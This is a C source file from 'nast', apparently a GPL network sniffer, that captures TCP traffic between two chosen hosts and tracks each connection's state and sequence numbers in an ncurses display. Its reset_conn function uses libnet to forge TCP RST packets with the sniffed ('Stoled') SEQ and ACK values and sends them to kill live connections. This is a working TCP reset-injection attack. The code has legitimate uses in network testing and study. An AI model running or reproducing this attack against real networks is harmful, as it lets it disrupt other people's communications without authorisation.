/*
nast
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
*/
#include "n_nast.h"
#ifdef HAVE_LIBNCURSES
# define Rst 0
# define Fin 1
# define Syn 2
int r_add(u_long ip_src,u_long ip_dst,u_short sport,u_short dport, u_long seq, u_long ack, int flag);
int r_del(u_long ip_src,u_long ip_dst,u_short sport,u_short dport, int flag);
int r_nconn = 0;
int r_lines = 1;
int app = 0;
int rst_connection_db(char *dev,u_long ip_src,u_long ip_dst,u_short sport,u_short dport)
{
char errbuf[256];
struct libnet_ipv4_hdr *ip;
struct libnet_tcp_hdr *tcp;
pcap_t* descr;
int k;
logd = stdout;
nmax = 2;
if((descr=pcap_open_live(dev,BUFSIZ,1,0,errbuf)) == NULL)
{
w_error(1, "pcap_open_live: %s", errbuf);
}
offset=(device(dev,descr));
for(k=0;k<30;k++)
{
memset(&c_inf[k], 0, sizeof(c_inf[k]));
}
init_scr();
mvwprintw(winfo->win,0,2,"Source");
mvwprintw(winfo->win,0,21,"Port");
mvwprintw(winfo->win,0,34,"Destination");
mvwprintw(winfo->win,0,55,"Port");
mvwprintw(winfo->win,0,66,"State");
SAFE_SCROLL_REFRESH(winfo);
while(rst_glob!=0)
{
if ((packet = (u_char *) pcap_next (descr, &hdr))!=NULL)
{
ip = (struct libnet_ipv4_hdr *) (packet + offset);
tcp = (struct libnet_tcp_hdr *) (packet + offset + LIBNET_IPV4_H);
if (ip->ip_p == IPPROTO_TCP)
{
if (!sport && !dport)
{
if ( ip->ip_src.s_addr == ip_src && ip->ip_dst.s_addr == ip_dst)
{
switch(tcp->th_flags)
{
case TH_SYN:
r_add(ip_src,ip_dst,htons(tcp->th_sport),htons(tcp->th_dport),htonl (tcp->th_seq), htonl (tcp->th_ack),Syn);
break;
case (TH_SYN|TH_ACK):
r_add(ip_src,ip_dst,htons(tcp->th_sport),htons(tcp->th_dport),htonl (tcp->th_seq), htonl (tcp->th_ack),0);
break;
case TH_ACK:
r_add(ip_src,ip_dst,htons(tcp->th_sport),htons(tcp->th_dport),htonl (tcp->th_seq), htonl (tcp->th_ack),0);
break;
case TH_RST:
r_del(ip_src,ip_dst,htons(tcp->th_sport),htons(tcp->th_dport),Rst);
break;
case (TH_ACK|TH_PUSH):
r_add(ip_src,ip_dst,htons(tcp->th_sport),htons(tcp->th_dport),htonl (tcp->th_seq), htonl (tcp->th_ack),0);
break;
case (TH_URG|TH_ACK):
r_add(ip_src,ip_dst,htons(tcp->th_sport),htons(tcp->th_dport),htonl (tcp->th_seq), htonl (tcp->th_ack),0);
break;
case (TH_FIN|TH_ACK):
r_del(ip_src,ip_dst,htons(tcp->th_sport),htons(tcp->th_dport),Fin);
case (TH_RST|TH_ACK):
r_del(ip_src,ip_dst,htons(tcp->th_sport),htons(tcp->th_dport),Rst);
break;
default:
break;
}
}
/*caso rovescio */
else if ( ip->ip_src.s_addr == ip_dst && ip->ip_dst.s_addr == ip_src )
{
switch(tcp->th_flags)
{
case TH_SYN:
r_add(ip_dst,ip_src,htons(tcp->th_sport),htons(tcp->th_dport),htonl (tcp->th_seq), htonl (tcp->th_ack),Syn);
break;
case (TH_SYN|TH_ACK):
r_add(ip_dst,ip_src,htons(tcp->th_sport),htons(tcp->th_dport),htonl (tcp->th_seq), htonl (tcp->th_ack),0);
break;
case TH_ACK:
r_add(ip_dst,ip_src,htons(tcp->th_sport),htons(tcp->th_dport),htonl (tcp->th_seq), htonl (tcp->th_ack),0);
break;
case TH_RST:
r_del(ip_dst,ip_src,htons(tcp->th_sport),htons(tcp->th_dport),Rst);
break;
case (TH_ACK|TH_PUSH):
r_add(ip_dst,ip_src,htons(tcp->th_sport),htons(tcp->th_dport),htonl (tcp->th_seq), htonl (tcp->th_ack),0);
break;
case (TH_URG|TH_ACK):
r_add(ip_dst,ip_src,htons(tcp->th_sport),htons(tcp->th_dport),htonl (tcp->th_seq), htonl (tcp->th_ack),0);
break;
case (TH_FIN|TH_ACK):
r_del(ip_dst,ip_src,htons(tcp->th_sport),htons(tcp->th_dport),Fin);
case (TH_RST|TH_ACK):
r_del(ip_dst,ip_src,htons(tcp->th_sport),htons(tcp->th_dport),Rst);
break;
default:
break;
}
}
}
}
}
}
pcap_close(descr);
return 0;
}
int r_add(u_long ip_src,u_long ip_dst,u_short sport,u_short dport, u_long seq, u_long ack, int flag)
{
int i;
for(i=0;i<30;i++)
if((ip_src==c_inf[i].s_ip && ip_dst==c_inf[i].d_ip && sport==c_inf[i].s_port && dport==c_inf[i].d_port && c_inf[i].set) || (ip_src==c_inf[i].d_ip && ip_dst==c_inf[i].s_ip && sport==c_inf[i].d_port && dport==c_inf[i].s_port && c_inf[i].set))
{
c_inf[i].seq=seq;
c_inf[i].ack=ack;
sf[c_inf[i].pr].seq=seq;
sf[c_inf[i].pr].ack=ack;
return(0);
}
for(i=0;i<30;i++)/*cerco spazio vuoto*/
{
if(c_inf[i].s_ip)
continue;
else
if(flag!=Syn)
return(0);
else
{
c_inf[i].s_ip = ip_src;
c_inf[i].d_ip = ip_dst;
c_inf[i].s_port = sport;
c_inf[i].d_port = dport;
c_inf[i].seq=seq;
c_inf[i].ack=ack;
c_inf[i].pr=app;
mvwprintw(winfo->win,r_lines,2,"%s",libnet_addr2name4(c_inf[i].s_ip, LIBNET_DONT_RESOLVE));
mvwprintw(winfo->win,r_lines,21,"%d",c_inf[i].s_port);
mvwprintw(winfo->win,r_lines,34,"%s",libnet_addr2name4(c_inf[i].d_ip, LIBNET_DONT_RESOLVE));
mvwprintw(winfo->win,r_lines,55,"%d",c_inf[i].d_port);
mvwprintw(winfo->win,r_lines,66,"Work");
c_inf[i].lin=r_lines;
SAFE_SCROLL_REFRESH(winfo);
sprintf(sf[app].string,"%2s%12d%20s%14d Work",libnet_addr2name4(c_inf[i].s_ip, LIBNET_DONT_RESOLVE),c_inf[i].s_port,libnet_addr2name4(c_inf[i].d_ip, LIBNET_DONT_RESOLVE),c_inf[i].d_port);
/* create the filter for tcp stream*/
sprintf(sf[app].sfilter,"host %s and port %d and host %s and port %d",libnet_addr2name4(c_inf[i].s_ip, LIBNET_DONT_RESOLVE),c_inf[i].s_port,libnet_addr2name4(c_inf[i].d_ip, LIBNET_DONT_RESOLVE),c_inf[i].d_port);
sf[app].seq=c_inf[i].seq;
sf[app].ack=c_inf[i].ack;
sf[app].ip_src=c_inf[i].s_ip;
sf[app].ip_dst=c_inf[i].d_ip;
sf[app].s_port=c_inf[i].s_port;
sf[app].d_port=c_inf[i].d_port;
sf[i].cont=app;
c_inf[i].set=1;
r_nconn++;
r_lines++;
app++;
++nmax;
return(1);
}
}
return(0);
}
int r_del(u_long ip_src,u_long ip_dst,u_short sport,u_short dport, int flag)
{
int i;
for(i=0;i<30;i++)
{
if(ip_src==c_inf[i].s_ip && ip_dst==c_inf[i].d_ip && sport==c_inf[i].s_port && dport==c_inf[i].d_port)
{ if(flag){
mvwprintw(winfo->win,c_inf[i].lin,2,"%s",libnet_addr2name4(c_inf[i].s_ip, LIBNET_DONT_RESOLVE));
mvwprintw(winfo->win,c_inf[i].lin,21,"%d",c_inf[i].s_port);
mvwprintw(winfo->win,c_inf[i].lin,34,"%s",libnet_addr2name4(c_inf[i].d_ip, LIBNET_DONT_RESOLVE));
mvwprintw(winfo->win,c_inf[i].lin,55,"%d",c_inf[i].d_port);
mvwprintw(winfo->win,c_inf[i].lin,66,"Closed");
sprintf(sf[sf[i].cont].string,"%2s%12d%20s%14d Closed",
libnet_addr2name4(c_inf[i].s_ip, LIBNET_DONT_RESOLVE),c_inf[i].s_port,libnet_addr2name4(c_inf[i].d_ip, LIBNET_DONT_RESOLVE),c_inf[i].d_port);
}
else
{
mvwprintw(winfo->win,c_inf[i].lin,2,"%s",libnet_addr2name4(c_inf[i].s_ip, LIBNET_DONT_RESOLVE));
mvwprintw(winfo->win,c_inf[i].lin,21,"%d",c_inf[i].s_port);
mvwprintw(winfo->win,c_inf[i].lin,34,"%s",libnet_addr2name4(c_inf[i].d_ip, LIBNET_DONT_RESOLVE));
mvwprintw(winfo->win,c_inf[i].lin,55,"%d",c_inf[i].d_port);
mvwprintw(winfo->win,c_inf[i].lin,66,"Resetted");
sprintf(sf[sf[i].cont].string, "%2s%12d%20s%13d Resetted",libnet_addr2name4(c_inf[i].s_ip, LIBNET_DONT_RESOLVE),c_inf[i].s_port,libnet_addr2name4(c_inf[i].d_ip, LIBNET_DONT_RESOLVE),c_inf[i].d_port);
}
sprintf(sf[sf[i].cont].sfilter,"host %s and port %d and host %s and port %d",libnet_addr2name4(c_inf[i].s_ip, LIBNET_DONT_RESOLVE),c_inf[i].s_port,libnet_addr2name4(c_inf[i].d_ip, LIBNET_DONT_RESOLVE),c_inf[i].d_port);
SAFE_SCROLL_REFRESH(winfo);
//wrefresh(winfo->win);
memset(&c_inf[i], 0, sizeof(c_inf[i]));
r_nconn--;
}
else if(ip_src==c_inf[i].d_ip && ip_dst==c_inf[i].s_ip && sport==c_inf[i].d_port && dport==c_inf[i].s_port)
{ if(flag){
mvwprintw(winfo->win,c_inf[i].lin,2,"%s",libnet_addr2name4(c_inf[i].s_ip, LIBNET_DONT_RESOLVE));
mvwprintw(winfo->win,c_inf[i].lin,21,"%d",c_inf[i].s_port);
mvwprintw(winfo->win,c_inf[i].lin,34,"%s",libnet_addr2name4(c_inf[i].d_ip, LIBNET_DONT_RESOLVE));
mvwprintw(winfo->win,c_inf[i].lin,55,"%d",c_inf[i].d_port);
mvwprintw(winfo->win,c_inf[i].lin,66,"Closed");
sprintf(sf[sf[i].cont].string, "%2s%12d%20s%14d Closed",libnet_addr2name4(c_inf[i].s_ip, LIBNET_DONT_RESOLVE),c_inf[i].s_port,libnet_addr2name4(c_inf[i].d_ip, LIBNET_DONT_RESOLVE),c_inf[i].d_port);
}
else
{
mvwprintw(winfo->win,c_inf[i].lin,2,"%s",libnet_addr2name4(c_inf[i].s_ip, LIBNET_DONT_RESOLVE));
mvwprintw(winfo->win,c_inf[i].lin,21,"%d",c_inf[i].s_port);
mvwprintw(winfo->win,c_inf[i].lin,34,"%s",libnet_addr2name4(c_inf[i].d_ip, LIBNET_DONT_RESOLVE));
mvwprintw(winfo->win,c_inf[i].lin,55,"%d",c_inf[i].d_port);
mvwprintw(winfo->win,c_inf[i].lin,66,"Resetted");
sprintf(sf[sf[i].cont].string, "%2s%12d%20s%13d Resetted",libnet_addr2name4(c_inf[i].s_ip, LIBNET_DONT_RESOLVE),c_inf[i].s_port,libnet_addr2name4(c_inf[i].d_ip, LIBNET_DONT_RESOLVE),c_inf[i].d_port);
}
sprintf(sf[sf[i].cont].sfilter,"host %s and port %d and host %s and port %d",libnet_addr2name4(c_inf[i].s_ip, LIBNET_DONT_RESOLVE),c_inf[i].s_port,libnet_addr2name4(c_inf[i].d_ip, LIBNET_DONT_RESOLVE),c_inf[i].d_port);
SAFE_SCROLL_REFRESH(winfo);
memset(&c_inf[i], 0, sizeof(c_inf[i]));
r_nconn--;
}
}
return -1;
}
int reset_conn(char *dev,u_long s_ip, u_long d_ip, u_short s_port, u_short d_port,u_long seq, u_long ack)
{
char errbuf[256];
libnet_t *l;
u_short n;
n_print("princ",3,1,0,"- Stoled SEQ (%lu) ACK (%lu)...\n", seq, ack);
if ((l = libnet_init (LIBNET_RAW4, NULL, errbuf))==NULL)
{
w_error(1, "libnet_init: %s\n", errbuf);
}
if (libnet_build_tcp (s_port, d_port, seq, ack, TH_RST, 32767, 0, 0, LIBNET_TCP_H, NULL, 0, l, 0)==-1)
{
libnet_destroy (l);
w_error(1, "Error building tcp header : %s\n" ,libnet_geterror(l));
}
if (libnet_build_ipv4 (LIBNET_TCP_H + LIBNET_IPV4_H, 0x08, 35320, 0, 64, IPPROTO_TCP, 0,s_ip , d_ip , NULL, 0, l, 0)==-1)
{
libnet_destroy (l);
w_error(1, "Error building ip header : %s\n", libnet_geterror(l));
}
for (n = 0; n < 2 ; n++)
if (libnet_write (l) == -1)
{
libnet_destroy(l);
w_error(1, "Error writing packet on wire : %s\n", libnet_geterror(l));
}
n_print("princ",5,1,0,"- Creating and sending the packet...");
libnet_destroy(l);
wattron(princ->win,A_BOLD);
n_print("princ",7,1,0,"- Connection has been resetted!!\n\n");
wattroff(princ->win,A_BOLD);
redrawscrollwin(princ,0);
return (0);
}
#endif
syntax highlighted by Code2HTML, v. 0.9.1